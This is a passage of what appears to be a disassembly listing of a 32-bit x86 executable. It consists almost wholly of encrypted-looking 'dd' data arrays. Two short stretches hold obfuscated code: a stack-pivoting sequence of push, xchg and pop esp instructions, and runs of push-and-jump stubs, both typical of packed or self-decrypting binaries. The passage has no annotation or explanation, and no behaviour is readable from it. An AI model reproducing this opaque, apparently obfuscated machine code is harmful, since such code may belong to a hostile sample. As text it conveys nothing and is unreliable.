		dd 8ABC49Bh, 0B49EF785h, 9A92DC02h, 0B7C017F6h,	0C5C87B14h
		dd 26D36E38h, 1EA32A9Fh, 6E3858A1h, 0F8D137D3h,	87C35CFFh
		dd 0BDF64E7h, 5C294FE4h, 5F9867EEh, 9D181DBCh, 7C05ACC6h
		dd 0D940747Dh, 0FDD27614h, 8DB64FF2h, 0D94074B8h, 0DE6564F9h
		dd 0BF5F8C63h, 4074B940h, 0F072D8D9h, 0CE53F357h, 2361A82Ah
		dd 6F44C73Dh, 0A53ADD80h, 7A6D0CAh, 0D75EDC6Eh,	0B04DF008h
		dd 0F91DF69Ah, 61DE6564h, 25806C89h, 48EE52E6h,	1F676B76h
		dd 0BA3F04A1h, 63E583ECh, 40E713E0h, 0D8219EA7h, 0B7E583ECh
		dd 52FCF51h, 42C8006Ah,	228EDDD0h, 0F7000000h, 0E0E4F57Ah
		dd 0D7BE583h, 98887Dh, 97378C47h, 42966B91h, 0DE23EC8h
		dd 35A343DEh, 0Eh, 5A966D8Bh, 8C2C1EB7h, 0C84732C7h, 0A73E3B3Eh
		dd 0E8149B22h, 6FC4E9A1h, 55D37682h, 2FFF8DB8h,	3FE20EB8h
		dd 1C18A4A6h, 3CEE9288h, 22A124A5h, 3D151D04h, 50F703D0h
		dd 37F393B7h, 944FDD1h,	0D15E43C4h, 0C309h, 42DD0F00h
		dd 8F2E489Fh, 38DF1BF0h, 96314299h, 6E15DCF3h, 0DDF4A6CBh
		dd 35CA6D14h, 0E2F9983Bh, 0FED57413h, 37AB4EF1h, 3DC6179Ch
		dd 0D09938D6h, 14A73EF2h, 9458ED50h, 25C0B387h,	219E25A3h
		dd 0C4E911F5h, 7881FE83h, 17C72A09h, 0B3510DB1h, 0F3926330h
		dd 0B48BBA53h, 0C67F18BBh, 2A09B049h, 0B739CFC7h, 6960E517h
		dd 42E10DE2h, 4DEA9169h, 59D659FDh, 3D17337Bh, 3DE00FE4h
		dd 6EEC8764h, 0C5D3D79Ah, 0FEDCB143h, 38h, 2ACD6884h, 57FA99D5h
		dd 34D37A80h, 8E31CC9Fh, 36D98079h, 39409113h, 0E018EF92h
		dd 28459A3Dh, 0E611E689h, 9332A443h, 0D63DCD0Ch, 0F7CBA438h
		dd 302h, 0BC865800h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh
		dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh
		dd 0AE47E610h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 83242489h, 57042404h, 0C781E789h, 4,	8704EF83h, 895C243Ch
		dd 0B2682404h, 89000040h, 53562434h, 0B45217BBh, 0CE38165h
		dd 81115A0Ah, 0B30EFEBh, 0ECEB8125h, 89D5E694h,	0F0895BDEh
		dd 348B545Eh, 4C48324h,	8BA52h,	0C2810000h, 53FD0FABh
		dd 0EA81F201h, 53FD0FABh, 8B5A0289h, 89572434h,	4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 24048B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 3C92E95Ch, 0B770FFFDh, 1E40F4B8h, 8BC50306h
		dd 0E900EBC8h, 676h, 66AE9h, 42826800h,	71E9061Eh, 68FFFD3Ch
		dd 61E43AFh, 0FD3C67E9h, 444E68FFh, 5DE9061Eh, 68FFFD3Ch
		dd 61E4537h, 0FD3C53E9h, 469968FFh, 49E9061Eh, 3DFFFD3Ch
		dd 0DEF5942Fh, 39CE7110h, 0E0F79A41h, 2D97813h,	0CCB150F7h
		dd 17BEBB16h, 0F2956378h, 1EBDB84Fh, 0E88B647Bh, 71EE9549h
		dd 38D63C68h, 6B9C2607h, 3EC87D96h, 0C87D19E0h,	826F6F3Eh
		dd 0E2F7C137h, 6CC13782h, 0C137826Eh, 3782E5F8h, 97E77541h
		dd 74EADF2Ah, 5AF4E45Eh, 0C7772BCAh, 5970F527h,	0CD334DD2h
		dd 981DBB0Ah, 2C0FC21Bh, 0A4279D47h, 2C0FDE1Fh,	7313B147h
		dd 0F5CA51B7h, 46D259F8h, 0D2CB2365h, 65C46476h, 27C05F8Eh
		dd 0DC5F6AEFh, 11E26557h, 0C090F6BDh, 0C3CB09BEh, 0DFD5058Ah
		dd 99000004h, 0CA21C05Bh, 956A0DACh, 0BC13B65Dh, 5E7514AFh
		dd 284DEC93h, 0EB925F72h, 16B9B74Ch, 0F2915C73h, 1CBFB84Fh
		dd 45CA497Dh, 38D63FB4h, 1B60E2CBh, 0A79C39DCh,	3EC87D55h
		dd 0BB400F0Bh, 617619BCh, 995AF396h, 6B38BB5Eh,	59A4D98Eh
		dd 0C4CCB214h, 0FDA1A946h, 0F7A3CF24h, 0C80A6178h, 88A003Eh
		dd 0C66D846Fh, 51200E29h, 69E8B623h, 0DC630BE4h, 3EC80A1Dh
		dd 0B554D674h, 85290339h, 0FCF4CB02h, 60ECF54h,	0E3613EC8h
		dd 0DE82C865h, 41CE5h, 0DC1B5D00h, 55A79C39h, 43EC87Dh
		dd 0D405BB41h, 0D8FD4171h, 0E367009Bh, 1857C165h, 1EC16493h
		dd 53AA29ACh, 2E3EC840h, 0F9F4FF98h, 5720B75Ah,	936231B4h
		dd 61985BF4h, 7F9838BAh, 7C744BC6h, 850E3CD9h, 3EC84074h
		dd 27D97D0Bh, 6D14DE90h, 59F87AD0h, 35D27582h, 8C0FB2BEh
		dd 40738A09h, 780E3EC8h, 0EFF239D8h, 293EC840h,	5A29AC4Fh
		dd 72ED7D1Ch, 2F14FA49h, 0C155EE92h, 4BC64D7Ch,	76B049C6h
		dd 39CF3EC8h, 5CA69095h, 0CB39C4F5h, 0E66FEDFBh, 0E8F2BB49h
		dd 3B2h, 42E5806Ch, 7F22C1ADh, 4CEB9268h, 7619B4B7h, 4EF19861h
		dd 2158792Bh, 0F800D77Ah, 501DB255h, 0FEF90EB1h, 8B0ABC5Bh
		dd 0D63EF504h, 1FA38C38h, 0D58EDF6Dh, 59631D02h, 0B45720B5h
		dd 0F6916231h, 3D3AB952h, 118E139Ah
		dd 3EC8F9C8h, 0E4AA13A7h, 0CE6648BEh, 6093AC4Ch, 2CD39E98h
		dd 79460BAEh, 8E4FD480h, 0E13EC8ABh, 248E563h, 0ABC4D95Eh
		dd 4F923EC8h, 0C93EC898h, 0D0730CAFh, 3EC8B80Dh, 0A62D972Eh
		dd 3EC8B857h, 971E9C2Ah, 0F5821218h, 6737CDC4h,	49E7248Bh
		dd 136A703Dh, 0CD000003h, 8E65049Fh, 0C91EC160h, 90670AB1h
		dd 0D229C863h, 0FC6100A7h, 670EEBE6h, 0A24533C8h, 6E0DE8FFh
		dd 983B34CBh, 0C13EC5F9h, 38D63938h, 1BAC9657h,	925F34DCh
		dd 73F852EBh, 3EC87D6Ah, 32F37F05h, 69DB36D0h, 0BF34D14Fh
		dd 0F611FFB0h, 86BC1075h, 0F97980FFh, 0B2183EC8h, 945C9730h
		dd 0D19F54F1h, 1CCA912Eh, 0ECBA2755h, 7417E065h, 35A319D5h
		dd 6AB50285h, 10000002h, 0F5CF0E95h, 30493EC8h,	0DE5EEC89h
		dd 6B82C868h, 3EC87D96h, 39B86590h, 0CF7DF87h, 0D95CFB7Dh
		dd 0C964875Ch, 44951E2Ch, 1B3EC836h, 0F99CD4ADh, 0D6758055h
		dd 1CBBBA39h, 3AEF1399h, 0C4DDD277h, 0A6500B24h, 882746CBh
		dd 0CFB72DE9h, 48170284h, 0EDE68A31h, 48h, 22A73E55h, 45AE149Bh
		dd 9331C4F5h, 0E66661C3h, 1CBE4F49h, 22Ah, 0CA6D08E4h
		dd 0F79A3935h, 0D4731AE0h, 0AE51ECFFh, 0D6792059h, 99607173h
		dd 0C0B84FF2h, 88657A1Dh, 0C6B146E9h, 0B3528423h, 0D638AD2Ch
		dd 57EBC438h, 0F9D857FEh, 613EC87Dh, 21C56492h,	3F069F25h
		dd 48E58870h, 0F36A75F4h, 5DDBD699h, 9F3B07CDh,	0FAF342Dh
		dd 0BD5CFBFAh, 2ACDAB78h, 0E887668Dh, 0C762916Ah, 2A5D227h
		dd 8D2AB165h, 0FD6DD1F5h, 73F0733Fh, 3EC8856Ah,	5E017F05h
		dd 2ACD6C89h, 801B5827h, 49EC0BE0h, 862947ACh, 0A24930FFh
		dd 82A14505h, 6330B550h, 9564EB97h, 0EC3EC885h,	0F73CDC5Eh
		dd 3EC885E6h, 81720B79h, 0B746CD79h, 0CA3EC885h, 751AEF2Eh
		dd 1496C5E0h, 0B5FFF396h, 6C866D0Ah, 44E1806Eh,	5EE58406h
		dd 3EC80F9Bh, 14E56AE7h, 6B3EC80Fh, 72C739DDh, 9D4FD457h
		dd 0CEC4F528h, 6330B538h, 2A61F194h, 64089A5Ah,	0E905DA7Eh
		dd 0C13EC34Ah, 0C72DA138h, 0E118F157h, 0B277963Ah, 3C7FB426h
		dd 0EF8F6217h, 0A03DDC1Ah, 0FDA4CEA5h, 0CA698459h, 7AAC62Dh
		dd 0B86D856Eh, 0E375B313h, 90374205h, 53D553F7h, 89068BBAh
		dd 0C72D5F70h, 0D3A0790Fh, 0BAB9F38h, 7E05C419h, 0F8017E03h
		dd 97C72D5Fh, 7F1E5831h, 7FC464E6h, 3D107BE1h, 3A04D472h
		dd 8643CB71h, 0C831A9h,	72820000h, 0D3A338D7h, 343E9534h
		dd 0D615EA8Dh, 2A479C3Bh, 5B81E483h, 35D47B76h,	902FD29Eh
		dd 3CDB7A7Bh, 8225C8A7h, 0AF2EB550h, 0C238D63Bh, 0DC1B59E9h
		dd 2426B239h, 0E3DECC24h, 21F7CC58h, 0E0BE9281h, 915EE740h
		dd 0A637BC68h, 0B93EC886h, 0D429CD4Bh, 6D6CF39Bh, 43EC886h
		dd 0F06B0486h, 0C9A62B46h, 51878326h, 7D0285ADh, 8A627BF8h
		dd 30FD3EC8h, 8424A645h, 1C4Bh,	916BB700h, 0E33EC87Dh
		dd 4D36DF0Ch, 9B3FB365h, 3E9333B5h, 0FBEB8E31h,	17h, 7D966B55h
		dd 67903EC8h, 847241C4h, 0F87B90D7h, 8503E293h,	23FC42E1h
		dd 14C707h, 0C1440000h,	7D3EBF44h, 0B3513EC8h, 0C87DAF2Eh
		dd 0A444C23Eh, 0D91B08BAh, 2552A13Eh, 0DF0EE582h, 244CA740h
		dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch
		dd 5624AE47h, 0C681E689h, 4, 4B850h, 0C6290000h, 24348758h
		dd 0E289525Ch, 4C281h, 0EA830000h, 24148704h, 2434895Ch
		dd 42FE68h, 243C8900h, 1E41DE68h, 24348B06h, 5404C483h
		dd 83243C8Bh, 0B95104C4h, 8, 65A6E981h,	0F9017315h, 65A6C181h
		dd 31897315h, 243C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dw 0C2AAh
		dd 0B81D5429h, 61E4786h, 0D18BC503h, 51E9h, 748B6000h
		dd 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h, 4E8B6600h
		dd 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h
		dd 0C428B28h, 2B144A8Bh, 89F82BC1h, 611C247Ch, 830008C2h
		dd 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh, 3EBAFFFFh, 0E80009FDh
		dd 8, 0D9838F86h, 4DE79257h, 5ACFBF0Fh,	4870Fh,	0BF660000h
		dd 0C281C40Eh, 6CB6h, 8A0FDB2Bh, 0Ah, 5E9h, 48D5FC00h
		dd 34FFC3BDh, 0B70F6013h, 0DE8166D2h, 5E61D6CFh, 0DE9h
		dd 601D8500h, 0AE83AE9Ch, 0BBD29258h, 0EE81EFE4h, 65EA1511h
		dd 0F38B5060h, 0DEBF0F5Ah, 4FEE8161h, 0B8581783h, 5EFFE390h
		dd 9CFF681h, 880F5934h,	8, 28C0Fh, 61600000h, 0E91A3489h
		dd 13h,	30E71FD7h, 0AE31BB95h, 8DED703Eh, 0F45C7F43h, 8106E464h
		dd 950F6DEBh, 67B96617h, 69C38150h, 5617950Fh, 8D0Fh, 815F0000h
		dd 0FF9434FBh, 1E850FFFh, 0F000000h, 284h, 0E9F88B00h
		dd 26h,	13F33D42h, 9D282A56h, 5F2067B6h, 1D1FCD2Eh, 50B966C2h
		dd 0FF4CE921h, 0AB40FFFFh, 1F5B8E18h, 2E510FDBh, 0D9E904EFh
		dd 20000000h, 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch
		dd 40h,	94h, 5,	1, 0A28h, 2, 20h dup(0)
		dd 1B8E661Eh, 1F3FE9h, 4C646800h, 0CDE9061Eh, 68FFFD33h
		dd 61E4D4Dh, 0FD33C3E9h, 4E1368FFh, 0B9E9061Eh,	68FFFD33h
		dd 61E4ED8h, 0FD33AFE9h, 4FAD68FFh, 0A5E9061Eh,	68FFFD33h
		dd 61E507Fh, 0FD339BE9h, 512968FFh, 91E9061Eh, 68FFFD33h
		dd 61E51C8h, 0FD3387E9h, 551168FFh, 7DE9061Eh, 68FFFD33h
		dd 61E5569h, 0FD3373E9h, 566968FFh, 69E9061Eh, 68FFFD33h
		dd 61E5939h, 0FD335FE9h, 5CAB68FFh, 55E9061Eh, 68FFFD33h
		dd 61E607Eh, 0FD334BE9h, 61F068FFh, 41E9061Eh, 68FFFD33h
		dd 61E6255h, 0FD3337E9h, 62AC68FFh, 2DE9061Eh, 68FFFD33h
		dd 61E630Dh, 0FD3323E9h, 641368FFh, 19E9061Eh, 68FFFD33h
		dd 61E658Ah, 0FD330FE9h, 66A368FFh, 5E9061Eh, 0F9FFFD33h
		dd 2AC160FBh, 0F50AAD4Ch, 1CB356FDh, 0BE15B44Fh, 86D0CB3h
		dd 4BF2FFD2h, 761957ACh, 52F1FCD3h, 7C1F58AFh, 0E56AE9DDh
		dd 38D63614h, 1BC0826Bh, 0A99C39DCh, 0C2B0C623h, 0A01FCB6Eh
		dd 3EC89859h, 0B050D238h, 0F2791C5Bh, 44673C66h, 0EBB5C853h
		dd 0A411A12Ah, 4242D282h, 0D1D8C221h, 0E71BFA9Eh, 6FF47752h
		dd 0C4F5175Dh, 0A49F38CEh, 0C72D5751h, 5E91E0BEh, 22C66591h
		dd 69DF70E8h, 2CE6FCh, 6D5C0000h, 17B75A96h, 0E26960E5h
		dd 0F4AE475Dh, 15B218C4h, 2CB2AB2Eh, 0A7AA54C7h, 2BD29F74h
		dd 0DE18B892h, 0FC698066h, 0E8F0h, 0DC1B5200h, 1A579C39h
		dd 0E66BDA73h, 0C87D9069h, 0B559EF3Eh, 1BB45720h, 79FC9FD8h
		dd 8C2391F3h, 2327C063h, 705E7E97h, 0D2EA71D0h,	543EC827h
		dd 67F5781Bh, 0E59441ECh, 983F3A34h, 29CD4BFFh,	47CA470Ah
		dd 0C89031C8h, 31BA503Eh, 3EC890A8h, 489D41C7h,	23F38C2Fh
		dd 2BA82B9Eh, 0C4F5BEB1h, 0BF1AB543h, 0E84CAA82h, 0DB7E0C48h
		dd 0B4379227h, 162BB231h, 0C046C72Dh, 0F0961D20h, 633D13B0h
		dd 68915EE5h, 0B0C91EC1h, 52493509h, 0D25B43C5h, 1C7108h
		dd 1AB5B700h, 0F7966077h, 0D0778358h, 0FE99DA31h, 0C66D845Bh
		dd 359C3E23h, 0DDF2953Ch, 3AD17013h, 0E6FD9C3Bh, 0FC36609h
		dd 31EEEF74h, 0A88138D6h, 37DE1B1Ah, 180EDFB4h,	24C13FDEh
		dd 4CA38226h, 78FD8023h, 0C87DE2FBh, 0CBF97D3Eh, 2A4ABB57h
		dd 7B9A3EBCh, 22A73EB3h, 0AE1E149Bh, 43C1C4F4h,	0B24499AAh
		dd 0D3B1C72Ch, 80DA127Ch, 66F2FC69h, 0B1AD2FC7h, 2EA747DEh
		dd 0A7h, 39DC1B94h, 9FDAA99Ch, 4BEB5FF8h, 7B14BBB6h, 0C879F0C8h
		dd 3F39363Eh, 56F4912Ch, 0D19E35D4h, 8653AA29h,	201EC137h
		dd 0F7D688CDh, 5CDE6CE8h, 0BB0E53C3h, 9E6BD38h,	1F7DC266h
		dd 0B03B0A63h, 3E83771Ah, 0B68D088Bh, 0B07519B8h, 3D12DAE1h
		dd 0AC830A80h, 647B1EC5h, 0BC638F8Dh, 8A3D023h,	4438088Ah
		dd 5443C4C9h, 1B881FBBh, 9ECE0000h, 5F8F6403h, 0B0CA21C0h
		dd 62916609h, 0A6D328C7h, 0E7FD60FFh, 0C9680FEAh, 4A34632h
		dd 0C05FFEEFh, 6A94C2Bh, 2BB231D4h, 4638D630h, 0DE1BDD65h
		dd 34439837h, 1B68EE91h, 579C39DCh, 0EAF37018h,	853EC87Dh
		dd 8ADE81FFh, 4386DB7Ch, 59DD43C0h, 816EC4F5h, 9EB0C378h
		dd 0DBAC6B58h, 88AC05Dh, 697813h, 6BF18B9Dh, 29C1BAB5h
		dd 0D547E708h, 7215E290h, 2ADF6DF0h, 76B49E59h,	7F01A4D3h
		dd 0DD75CDFh, 47F9A3DFh, 1FB445CAh, 2FCB09F3h, 1D605888h
		dd 4A1FA13Fh, 6FEB8B2Eh, 717D52D9h, 711535D2h, 0E2E77E98h
		dd 5FE0D45Bh, 1177F3CFh, 17BAB58Ah, 0F1946378h,	2228951Dh
		dd 0BC1EEF81h, 1AC2h, 0AE51EC08h, 0DB7E1D59h, 0A847EE04h
		dd 0E2852053h, 9A3DE40Dh, 0C5AC25B7h, 8C647B1Eh, 0C4B146E9h
		dd 826D8225h, 78E40DFh,	0D6337188h, 0A31F1038h,	9C39DC1Bh
		dd 5FE6E37Ah, 3EE50DE2h, 50A7959Ah, 0D238C4F5h,	0BD29592Fh
		dd 3A1FB62Fh, 0AD5198D5h, 0E5D5E67Bh, 98AC4DA1h, 0C64DD052h
		dd 3D11CE50h, 3A0657E3h, 59291D6Ah, 0ED69E2D7h,	3CF4D34Dh
		dd 22A124A5h, 0E8ED22D0h, 5BA221A4h, 361B353Ah,	963430D0h
		dd 9635400Fh, 68FD19F2h, 0B24BEE0Ah, 0C931A98h,	0E109E128h
		dd 0EDC249BFh, 59DC5F02h, 2A7303DAh, 1D85721h, 60212A73h
		dd 3CDC6AEAh, 0EFE906DDh, 87C35C03h, 996B3509h,	703DAFE0h
		dd 19FD6Ah, 96314300h, 7312DCF3h, 4CF3FFD4h, 7A1556ADh
		dd 52F900D7h, 0B918CAAFh, 617619C0h, 7E55F497h,	0DA31D06Fh
		dd 6357FA9Dh, 339A63E0h, 34F538D6h, 39DC1B8Eh, 0D8E37A9Ch
		dd 0F1CCEB4h, 0C4B2871Fh, 40C28825h, 22BB38BDh,	3D3EC8A6h
		dd 9F2427C7h, 0C4F58CB1h, 4F25C442h, 83469B14h,	0C2AE8500h
		dd 8C2B4A1Fh, 0E8F167ECh, 4823D10h, 0A8D7740Fh,	0CD14A1A9h
		dd 70FC79FCh, 13B824B0h, 5EE38370h, 93D4F994h, 52C461E7h
		dd 0B837BE0Bh, 95F2DAC4h, 926BE85Bh, 0ED74233Eh, 0CF52D957h
		dd 233E8950h, 0BE62E874h, 2872F67Bh, 967840FDh,	30BB4EF0h
		dd 9808DA4h, 0C4679065h, 22532025h, 0A36FFB75h,	0D957C35Dh
		dd 956A0E3Ch, 0B3E7B75Ah, 5FAE96Ch, 1928B228h, 7E6E0000h
		dd 0BFAF44E3h, 906A8120h, 0C2B146E9h, 86738827h, 871D40DFh
		dd 0E9882F4Ah, 0A443E612h, 0E07F1E4Fh, 0A649EC0Bh, 0CB129134h
		dd 0A638D632h, 0DC1BFDC5h, 0E37A9C39h, 0DE25FE6h, 0A6A441E0h
		dd 77451116h, 0DF7FC80Dh, 0F547505Ah, 412F04C4h, 9872647h
		dd 0FE3ADE6Ch, 412E0588h, 0A549019Eh, 72F7F286h, 8857DEEBh
		dd 292CCC6Fh, 11BF34AAh, 0BEAC73Dh, 936AE96Ch, 0EECD01BFh
		dd 6AE1DA58h, 0CE44E889h, 58F7F6CDh, 0B5B68BBFh, 29CD7D1Ah
		dd 0DD6262F7h, 0C84F701Ch, 0D053D573h, 725C8153h, 0D36CDA32h
		dd 48CBFE43h, 9F47D7CBh, 5BE26834h, 0D58059D6h,	69DFD498h
		dd 30FF82C5h, 3F0BA447h, 8A2D4A9Fh, 44E710E7h, 523F5874h
		dd 33A7685Ah, 1856h, 9235D09Ch,	0EF92313Dh, 9C3BE218h
		dd 0E6892447h, 9E41E811h, 0D1A829BBh, 8870872Ah, 0C0AD42E5h
		dd 8E697E21h, 0FB9A4CEBh, 0D62D6574h, 8F33FC38h, 9C39DC1Bh
		dd 5FE6E37Ah, 0E6A356E2h, 7B14B7C0h, 39DB43CFh,	3630F599h
		dd 29C4F5A7h, 5E68FC9Bh, 8209C005h, 10839BFDh, 179E2C3Dh
		dd 0F18E2D48h, 8B00B559h, 0B8C9D231h, 0F97C4D94h, 0F4EE687Ah
		dd 0CE55F3A4h, 15D78F4Ah, 0A5493653h, 96338A8Ch, 0A9AC900Fh
		dd 0C5439D12h, 0D586713Eh, 4097B62Fh, 0C29C284Fh, 0B9E23D64h
		dd 0C116B937h, 234313B6h, 0DE3C88Dh, 17AC5A80h,	2F20000h
		dd 4333C867h, 4EE05A4h,	4625BA5Dh, 0FAF70CABh, 0B91B453h
		dd 6504ABC6h, 20BF628Eh, 6C0BAACBh, 12B55897h, 5F9E25A0h
		dd 3238D62Ch, 0DC1B8939h, 0E37A9C39h, 48E05FE6h, 27C4E9B7h
		dd 2A451AA1h, 0D765E887h, 0F2159AB1h, 0B1A8DA82h, 41903D10h
		dd 6C0BEABFh, 0D90687CCh, 0DA63C729h, 741B04D9h, 0C749732Dh
		dd 88972528h, 0A768F05Eh, 983B350Eh, 7114E3F8h,	0C4055CCEh
		dd 576AC241h, 7F053D08h, 0A84727FCh, 6504F209h,	0C8A67DC8h
		dd 87708529h, 1E414E4h,	0DBB443C1h, 170DFFh, 86215300h
		dd 43E20CE3h, 7C234FA4h, 4AE506DDh, 822950A7h, 69687ADFh
		dd 0B146E990h, 6E8524C7h, 0AA41E07Fh, 53872ACDh, 2CAA33B0h
		dd 0E4C538D6h, 22A73E5Eh, 0B794149Bh, 0BD4BC4E9h, 0E68E6936h
		dd 0CA15E46Bh, 0DE6CC729h, 29CA8455h, 0EB6DDBC7h, 427FDA4Ch
		dd 0CA5134BBh, 42C8C729h, 0CA5C9EA5h, 0D7C5C729h, 6CB62E98h
		dd 4916FC66h, 0EDE68A31h, 4Fh, 0BB6C8B58h, 4CF03088h, 17B032F3h
		dd 6D8D9333h, 12B65996h, 0E96C55E0h, 0C87D6F6Ah, 0DC14EB3Eh
		dd 0D47118E2h, 0D854F476h, 6B6ED572h, 943EC87Dh, 0C7FD67EAh
		dd 910284B5h, 13h, 7D916BF1h, 2DB43EC8h, 389A199Ch, 0A3C4F579h
		dd 3EBC8225h, 7ABCBA7h,	0C87D7188h, 0F87A103Eh,	7DEFEE75h
		dd 4823EC8h, 280FF86h, 96C4F545h, 350EADC9h, 35F1953Ch
		dd 77774CCFh, 14DF38D8h, 429938DBh, 0FEF59235h,	84B34CF3h
		dd 2552D79Ah, 0EF08DF82h, 0DE63B34Ch, 66ED68EBh, 0C72C9597h
		dd 79BC5CEAh, 11B7DCFAh, 26C93F3Dh, 8003A6D1h, 0A3CCC2B3h
		dd 65E58200h, 6DD68C1h,	9CAE47EAh, 134737FCh, 5BC34558h
		dd 0BD608F14h, 7AAC51Ah, 7B820184h, 16455B5Dh, 0BC3710B0h
		dd 0B9114AFh, 2732C846h, 122BCB10h, 0FE83CEF8h,	54AB4EF1h
		dd 67F5781Bh, 0FF13C66Bh, 38D1756Fh, 3B3487DEh,	6A52AD59h
		dd 9C23AA28h, 0BF662012h, 4EED08E5h, 99D62DCCh,	5E9A59F6h
		dd 8C6B38BBh, 4BEC45E9h, 0F108870Ah, 904BB038h,	0A5AC56FAh
		dd 31B45720h, 0ABF284ABh, 0FC9A2ACDh, 0D2A17A49h, 0CAC9E37h
		dd 0F699D62Dh, 0EA69EC59h, 4BB09B13h, 9B11E867h, 0DA704BB0h
		dd 0EA69EC5Ah, 4BB09B13h, 0C638D86Eh, 3CC34A7Fh, 0B18D97C6h
		dd 4A3C652h, 414C8D12h,	0A5235195h, 0BDD1C715h,	8A71D19h
		dd 0DD846E45h, 28CBA439h, 7721B48Fh, 44DAA195h,	2CCFA82Dh
		dd 764DC88Dh, 1139D679h, 95777188h, 50231061h, 0B03218B5h
		dd 5BFAFB10h, 7D65DD8h,	5A619577h, 0F34CECh, 0A6B552F9h
		dd 0F9F479F8h, 9D72B75Ah, 0FCA733CEh, 258B8490h, 57966B0Bh
		dd 0A2261FB8h, 207DD807h, 707D5645h, 9BD82DD1h,	4ED06700h
		dd 0D06F7E03h, 0FC9BDA31h, 0B1A8F379h, 0CA6D54C0h, 0B4090D26h
		dd 0B9C18E15h, 31D57512h, 0C01371EEh, 0FE8C9BA8h, 0CDA2A961h
		dd 0E56502A1h, 1398D741h, 4FA443E2h, 13E07D20h,	0E5BA41E4h
		dd 6EC7670Ah, 0A92E41EDh, 928C2BCEh, 5BC71F5Ah,	2CFCh
		dd 0DA1B8600h, 0ED74A23Bh, 48CA6985h, 72243EC5h, 0D137C4F5h
		dd 2BC02Eh, 981D0000h, 2C8EC21Bh, 9D229DC7h, 0C72C8E5Ch
		dd 73139533h, 3BDA1BADh, 6C0BEBB8h, 3ED777D3h, 0C54881D8h
		dd 0F5779C3Eh, 7619AFC4h, 0D16A9CB0h, 3BB63D8Ch, 42E68D64h
		dd 0F5599BFDh, 0A59E2CC4h, 0F999DF1Eh, 97D4ABD3h, 12E763FCh
		dd 9FAB44E3h, 11B80DFFh, 97FF058Ah, 0A80C1C4h, 0B514A96Dh
		dd 3CCDB12Eh, 0DF623BE2h, 1F32B759h, 20A96133h,	0C633A6D9h
		dd 4DD052B8h, 33D67976h, 0C22D39Ch, 6A967CC5h, 0B0BE9210h
		dd 9448F941h, 13C4DFFBh, 0EA0A0000h, 1B5BB04Fh,	0EC06DD7Ch
		dd 1E4DA245h, 0E20FE483h, 23B99C3Bh, 7D1CC3AEh,	48E78A66h
		dd 8423C2B3h, 3ADD806Fh, 77860D88h, 0A38D628h, 926BA121h
		dd 0B73EC87Eh, 9F24A722h, 3B0AB3E1h, 8251D472h,	9E35D473h
		dd 5C9730CFh, 0DC20F093h, 0AC49E667h, 136CF7E3h, 0C2B20000h
		dd 83738827h, 0C4AE45E4h, 86657A1Dh, 0BAB74CEBh, 0CBD17413h
		dd 0A544EB06h, 0E07F224Eh, 0AC4BEA0Bh, 0D2751857h, 1FDE65E0h
		dd 7238D628h, 0A73EC979h, 7D47961Dh, 0AC1A3EC8h, 6E28A72Eh
		dd 0F1C4F54Ch, 7E55D053h, 0D82DD170h, 8B60FF9Eh, 0C033CC6Bh
		dd 8F7B14B7h, 69850A65h, 41BE43CAh, 0C72C8CB8h,	6ECD71D7h
		dd 0DC64C51Ah, 5A9B68EBh, 882822BBh, 0E18E6853h, 0B4E38763h
		dd 90694282h, 7CFE4CE9h, 0C79A60E3h, 67DAC72Ch,	97636198h
		dd 75F357F0h, 0A32827D1h, 3E9534D3h, 22F49130h,	28A72E9Bh
		dd 3D0D0DB4h, 6936BD4Bh, 0E3ADD8Eh, 99DDDDB2h, 94637817h
		dd 7BC254F1h, 5DE2AB40h, 4821589Bh, 59F18E2Dh, 9CCF54D7h
		dd 0CF372F69h, 12DDB239h, 3C3BD06Fh, 0C31AFC99h, 7D027F06h
		dd 0D360E87Ch, 4ED17513h, 51F4FCD3h, 2DF296B4h,	295DE723h
		dd 98C29634h, 64578F1Fh, 126C0FCBh, 0C2B20000h,	83738827h
		dd 0C4AE45E4h, 86657A1Dh, 0BAB74CEBh, 0CBD17413h, 0A544EB06h
		dd 0E07F224Eh, 0AC4BEA0Bh, 0D2751857h, 1FDE65E0h, 7238D62Bh
		dd 656BC979h, 0EF3EC87Dh, 7DECED72h, 0F77C3EC8h, 3EC87DE6h
		dd 0F98F0B79h, 12B65520h, 6E11B0BDh, 21A425BCh,	0FCA3CFA4h
		dd 247E763h, 0C4E9B671h, 0FA038005h, 95C729CAh,	35D38F2Fh
		dd 7219E1AEh, 0E86D87CFh, 0C87D926Bh, 0B757ED3Eh, 48E073Dh
		dd 1505103h, 3EB10000h,	6D9A20A5h, 3BDA1BE8h, 7D44969Bh
		dd 43103EC8h, 4FFB9433h, 5BE563AFh, 2846E56Dh, 1DA23EF8h
		dd 0DACC996h, 0F036DA70h, 0A63EE773h, 4FFB9721h, 848DCE36h
		dd 60A805h, 3E1A0000h, 429B18A2h, 0C43EC87Dh, 0EE8A0AA9h
		dd 0BF19EA53h, 0B533B596h, 1BE86D2Bh, 0AAA03DD8h, 7DBB4106h
		dd 36D43EC8h, 1BE86DACh, 2FB437DEh, 3EC87DAEh, 9DA343C1h
		dd 0B538DF1Bh, 7D2AB330h, 0BA453EC8h, 0C87DA435h, 0CB4DBB3Eh
		dd 56FC252Bh, 2C02h, 6B845B00h,	461B2FC8h, 5FEB842Bh, 0A23E79BFh
		dd 0E66D931Dh, 3EC87D14h, 6DA73117h, 38DF1BE5h,	6BE86DB2h
		dd 3EC87D92h, 3B757EDh,	8DCE367Dh, 5BA80584h, 1A000000h
